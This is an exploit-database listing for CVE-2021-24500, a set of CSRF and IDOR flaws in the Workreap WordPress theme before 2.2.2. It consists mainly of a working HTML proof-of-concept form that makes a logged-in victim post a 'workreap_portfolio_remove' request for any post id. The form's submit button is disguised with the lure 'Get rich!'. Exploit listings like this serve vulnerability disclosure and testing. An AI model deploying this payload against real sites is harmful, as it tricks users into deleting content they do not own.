Exploit for Workreap < 2.2.2 - Multiple CSRF + IDOR Vulnerabilities CVE-2021-24500

Name: Exploit for Workreap < 2.2.2 - Multiple CSRF + IDOR Vulnerabilities CVE-2021-24500
Rating: 5 (124 reviews)

2021-07-02 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:0C4B5ECC-54D0-45EC-9F92-B2CA3CADBE56
<form action="http://localhost:8888/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>